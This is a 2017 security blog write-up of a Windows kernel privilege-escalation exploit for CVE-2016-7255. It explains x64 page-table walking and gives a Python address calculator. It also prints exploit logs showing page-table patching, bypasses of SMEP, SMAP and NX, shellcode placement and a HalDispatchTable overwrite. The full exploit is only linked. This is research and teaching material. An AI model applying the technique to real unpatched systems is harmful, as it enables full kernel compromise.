Sunday, January 8, 2017

Virtual Memory, Page Tables, and One Bit - CVE-2016-7255


After the Google Security team released the details on a local privilege escalation via win32k.sys system call NtSetWindowLongPtr() for the index GWLP_ID on a window handle with GWL_STYLE set to WS_CHILD, I decided to research the vulnerability.

Perusing Twitter, I came across the post details a PoC for cve-2016-7255.  The PoC demonstrates the vulnerability: in kernel mode, an attacker controlled address is dereferenced with the value logically or'ed with 0x4.

At Blackhat 2016, a presentation was released: Windows 10 Mitigation Improvements, showing that the system region PML4 entries are now randomized instead of using the static entry of 0x1ed.

At Zero Nights 2016, a presentation and PoC from Enrique Nissim was released: I Know Where Your Page Lives - De-Randomizing the Latest Windows 10 Kernel and  for Windows 10 anniversary edition. Enrique demonstrates how to determine the now random PML4 entries that have been randomized in the latest build of Windows.


I have taken his PoC and adapted it to exploit the same vulnerability in 64 bit versions of Windows 7, 8.1, 10 prior to the anniversary update, and Server 2012 R2.

The changes that were made are:
  • Set the PML4 self-reference entry to the static entry of 0xFFFFF6FB7DBEDF68
  • Adjusted the shellcode to account for the different offset values in the OS versions
  • Added different overwrite targets for the different OS'es
    • Win 7 Workstation - using the common Hal Dispatch Table and call to NtQueryIntervalProfile
    • Win 8.1 Workstation - using the HalpApicRequestInterrupt pointer
    • Win 10 Workstation (prior to the anniversary update) - using the HalpApicRequestInterrupt pointer
    • Window Server 2012 R2 - using the HalpApicRequestInterrupt pointer

To better understand this vulnerability and how the exploit works, a discussion of how the virtual memory manager works is required.

Virtual Memory and Page Tables
To understand how to map a virtual address to it's physical, we can refer to the AMD and Intel Developer manuals to understand the mapping and page table entries.


[3] - 4-Kbyte Page Translation—Long Mode


[3] - Page Table Entries
Key bits that will be referenced later in the code.
Read/Write (R/W) Bit. Bit 1. - if 0, writes may not be allowed
User/Supervisor (U/S) Bit. Bit 2. - If 0, user-mode access (ring 3) is not allowed
No Execute (NX) Bit.  Bit 63.- if 1, not allowed for code execution.

Walk through of mapping a virtual address to it's physical address
To help understand how to map a virtual address to it physical address and view kernel memory page table address, I will use windbg to walk through the mapping. I am using a small program that will write "A" at virtual address 0x1000000

Virtual Address
Convert to Physical Address 

In the example below, I am using windbg as kernel debug mode and have switched into the context of the user process.

!process 0 0 nameofexe.exe

.process /i <address of the process>

.reload /user 


Register CR3 to find the base address and PML4 Tables

The first step is to obtain the value of the cr3 register: "r cr3" 0x1fddff000
which will point to the physical address of the PML4 table.

Using 47-39 bits (virtual address) * 8 (each address is a 64 bit address or 8 bytes) to find the physical address of the Page Directory Pointer Table: 0x1ff48867.
 











Page Directory Pointer Table
Now use the physical address of the PDP table and zero out the lower 12 bits (867), these 12 bits are referenced above in the Page Table Entries table.

0x1ff48000 + the 38-30 bits (virtual address) as an offset, again times 8 (64 bit address) to find the physical address for the Page Directory Table. 0x19d90867



Page Directory Table
Zero out bits 11-0, to get the physical address: 0x19d90000.
0x19d90000 + 29-21 bits (virtual address) * 8 to find the physical address of the page table: 0x1f491867.


Page Table
Zero out bits 11-0, to get the physical address 0x1f491000.
0x1f491000 + bits 20-12(virtual address) * 8 to get the physical address of the physical page: 0x20692867.

 
Offset into the physical page
Zero out bits 11-0, to get the physical address: 0x20692000
0x20692000 + bits 11-0 (virtual address): 0x2692000.  In this case, this is an offset into the physical page and also represents that this page is 4kb in size, 0x0 - 0xfff is 0 - 4095 or 4kb


The !pte command in windbg will provide the same information:
!pte - windbg


Below is python code that replicates the functionality of !pte in windbg and has the ability to use different self reference indexes (this is useful for calculating the information in Windows 10 build 1607)

<code>
#!/usr/bin/python
import sys

PML4_SELF_REF_INDEX = 0x1ed

def get_pxe_address(address):
    entry = PML4_SELF_REF_INDEX;
    result = address >> 9;
    lower_boundary = (0xFFFF << 48) | (entry << 39);
    upper_boundary = ((0xFFFF << 48) | (entry << 39) + 0x8000000000 - 1) & 0xFFFFFFFFFFFFFFF8;
    result = result | lower_boundary;
    result = result & upper_boundary;
    return result

if (len(sys.argv) == 1):
    print "Please enter a virtual address and PML4 self ref index in hex format"
    print "The PML4 self ref index is option, the static idex of 0x1ed will be used"
    print "if one is not entered"
    print ""
    print sys.argv[0] + " 0x1000 0x1ed"
    sys.exit(0)

address = int(sys.argv[1], 16)
if (len(sys.argv) > 2):
    PML4_SELF_REF_INDEX = int(sys.argv[2], 16)

pt = get_pxe_address(address)
pd = get_pxe_address(pt)
pdpt = get_pxe_address(pd)
pml4 = get_pxe_address(pdpt)
selfref = get_pxe_address(pml4)

print "Virtual Address: %s" % (hex(address))
print "Self reference index: %s" % (hex(PML4_SELF_REF_INDEX))
print "\n"
print "Page Tables"
print "Self Ref: \t%s" % (hex(selfref))
print "Pml4:\t\t%s" % (hex(pml4))
print "Pdpt:\t\t%s" % (hex(pdpt))
print "Pd:\t\t%s" % (hex(pd))
print "PT:\t\t%s" % (hex(pt))

</code>

Example output
./pagetables.py 0x0 0x1ed
Virtual Address: 0x0
Self reference index: 0x1ed

Page Tables
Self Ref:     0xfffff6fb7dbedf68L
Pml4:         0xfffff6fb7dbed000L
Pdpt:         0xfffff6fb7da00000L
Pd:           0xfffff6fb40000000L
Pt:           0xfffff68000000000L



./pagetables.py 0xfffff68000000000 0x1ed
Virtual Address: 0xfffff68000000000L
Self reference index: 0x1ed

Page Tables
Self Ref:     0xfffff6fb7dbedf68L
Pml4:         0xfffff6fb7dbedf68L
Pdpt:         0xfffff6fb7dbed000L
Pd:           0xfffff6fb7da00000L
Pt:           0xfffff6fb40000000L




!pte in Windows 10 1607
In Windows 10 build 1607 (anniversary edition), windbg does not yet understand the randomize pml4 self reference addresses


By using the pagetables python script from above, windbg does not take into account the randomized  pml4 self reference index


./pagetables.py 0x00007ff6dd800000
Virtual Address: 0x7ff6dd800000
Self reference index: 0x1ed


Page Tables
Self Ref:     0xfffff6fb7dbedf68L
Pml4:         0xfffff6fb7dbed7f8L
Pdpt:         0xfffff6fb7daffed8L
Pd:           0xfffff6fb5ffdb760L
PT:           0xfffff6bffb6ec000L



Code Walkthrough 

As mentioned above, the vulnerability (CVE-2016-7255), allows us to xor a value with 0x4. It is possible to enable User-mode access to the  PML4e self reference address (bit 2 - U/S, from the page table entry diagram) so user space can access the page tables which in turns allows us to read and update any value in memory.


Notice in the Before section, bit 2 is set to zero, indicated by the "K or kenrel" in KW-V.  After the exploit is run, targeting the self ref address of 0xFFFFF6FB7DBEDF68, the value 0x30FED863 is flipped to 0x30FED867, enabling user mode access, indicated by the "U or User" in UW-V.

Windows 8.1
Before

After

To replicate in windbg what the exploit is doing, the following command can be used:

r $t1 = FFFFF6FB7DBEDF68; eq $t1 poi($t1) |0x4






Creating new PT to read/write

Now that the entry has been changed to allow user-mode access, Enrique Nissim provides a solution to create new page tables that are updated with physical addresses and attributes, which in turn allows for reading and writing for any memory address.

In this example,  the address 0xffffffffffd00510 is only accessible from Kernel mode, indicated by the 0x63, (bits 7-0: "01100011", notice bit 2 is 0) at the each of the entries.  By using Enrique's code, we are able to create a page table, that is accessible from user-mode "0x67" (bits 7-0: "01100111", notice bit 2 is now 1) and points to the same physical page as the kernel only memory: 0x1163 or in this case 0x1000 (remember to zero out bits 11-0).

Before



After



Output from Exploit
This is the output from the exploit running on a Windows 7 box.
  1. A page table is created allowing for reading the value of the haldispatchtable + 0x8.
  2. A page table is created allowing for writing the shell code to kernel memory, bypassing SMEP and SMAP and removing the NX bit on the page table to allow for code execution.
  3. A page table is created allowing for overwrite of haldispatchtable +0x8 that will trigger the code execution.

Reading the original value that will be replaced (haldispatchtable + 0x8)

On a Windows 7 box:
[*] Getting Overwrite pointer: fffff80002c42c60
[+] Selected spurious PML4E: fffff6fb7dbedf00
[+] Spurious PT: fffff6fb7dbe0000
--------------------------------------------------

[+] Content pml4e fffff6fb7dbedf80: 199063
[+] Patching the Spurious Offset (PML4e) fffff6fb7dbedf00: 199067
[+] Content pdpte fffff6fb7dbf0000: 198063
[+] Patching the Spurious Offset (PDPTE) fffff6fb7dbedf00: 198067
[+] Content pdpe fffff6fb7e0000b0: 1dc063
[+] Patching the Spurious Offset (PDE) fffff6fb7dbedf00: 1dc067
[+] Content pte fffff6fc00016210: 8000000002c42963
[+] Patching the Spurious Offset (PTE) fffff6fb7dbedf00: 2c42967


OverwriteAddress: fffff6fb7dbe0c60




Ouptut for writing shellcode and removing the NX bit
Original OverwriteTarget pointer: fffff80002a438e8
[+] Selected spurious PML4E: fffff6fb7dbedf08
[+] Spurious PT: fffff6fb7dbe1000
--------------------------------------------------

[+] Content pml4e fffff6fb7dbedff8: 1ec063
[+] Patching the Spurious Offset (PML4e) fffff6fb7dbedf08: 1ec067
[+] Content pdpte fffff6fb7dbffff8: 1eb063
[+] Patching the Spurious Offset (PDPTE) fffff6fb7dbedf08: 1eb067
[+] Content pdpe fffff6fb7ffffff0: 1ea063
[+] Patching the Spurious Offset (PDE) fffff6fb7dbedf08: 1ea067
[+] Content pte fffff6ffffffe800: 100163
*** Patching the original location to enable NX...
[+] Patching the Spurious Offset (PTE) fffff6fb7dbedf08: 100167


HAL address: fffff6fb7dbe1000
[+] w00t: Shellcode stored at: ffffffffffd00d50


Output for overwriting the exec target
[+] Selected spurious PML4E: fffff6fb7dbedf10
[+] Spurious PT: fffff6fb7dbe2000
--------------------------------------------------

[+] Content pml4e fffff6fb7dbedf80: 199063
[+] Patching the Spurious Offset (PML4e) fffff6fb7dbedf10: 199067
[+] Content pdpte fffff6fb7dbf0000: 198063
[+] Patching the Spurious Offset (PDPTE) fffff6fb7dbedf10: 198067
[+] Content pdpe fffff6fb7e0000b0: 1dc063
[+] Patching the Spurious Offset (PDE) fffff6fb7dbedf10: 1dc067
[+] Content pte fffff6fc00016210: 8000000002c42963
[+] Patching the Spurious Offset (PTE) fffff6fb7dbedf10: 2c42967


Patch OverwriteTarget: fffff6fb7dbe2c68 with ffffffffffd00d50




MS16-135
Microsoft released patch MS16-135 on November 8, 2016 to address the vulnerability. McAfee has a nice write-up on the patch and how it fixes the vulnerability.


Demonstration of Exploitation

Windows 7 SP1 Workstation


Windows 8.1 Workstation



Windows 10 Build 1511 Workstation



Windows 2012 R2 Server














Exploit Code
Github Repo



Notes
Using NASM to create shellcode
To update the shellcode, I used NASM to determine the correct assembly instructions to use:
Template:
cat 64bitasm.asm

main:                ; the program label for the entry point
      mov     rbx,[rax+80h]


To compile:
nasm -f elf64 64bitcode.asm

To view assembly:
objdump -M intel -d 64bitcode.o

64bitcode.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <main>:
   0:    48 8b 98 80 00 00 00     mov    rbx,QWORD PTR [rax+0x80]



References

  1. Page Tables
  2. x86-64 Wikipedia
  3. AMD64 Architecture Programmer’s Manual Volume 2: System Programming 
  4. Understanding PTE part 1
  5. Understanding PTE part 2
  6. Understanding PTE part 3
  7. Windows SMEP Bypass U=S 
  8. Github - I know where your pages live
  9. Github PoC CVE-2016-7255
  10. Google Security Blog
  11. What Makes It Page?: The Windows 7 (x64) Virtual Memory Manager
  12. Digging Into a Windows Kernel Privilege Escalation Vulnerability: CVE-2016-7255
  13. Youtube - Black Hat USA 2016 Windows 10 Mitigation Improvements
  14. Black Hat 2016 - Windows 10 Mitigation Improvements Slides
  15. Bypassing Kernel ASLR Windows 10, Stéfan Le Berre - Heurs
  16. Infiltrate 2015 - Insection Awesomely Exploiting Shared Memory Objects, Alex Ionescu
  17. Windows Kernel Exploitation This Time Font Hunt You Down in 4 Bytes
  18. Getting Physical: Extreme abuse of Intel based Paging Systems - Part 1
  19. Getting Physical: Extreme abuse of Intel based Paging Systems - Part 2
  20. Getting Physical: Extreme abuse of Intel based Paging Systems - Part 3
  21. CanSecWest 2016 - Getting Physical, Nicolas A. Economou and Enrique E. Nissim
  22. MS-135 Security Bulletin
  23. CVE-2106-7255
  24.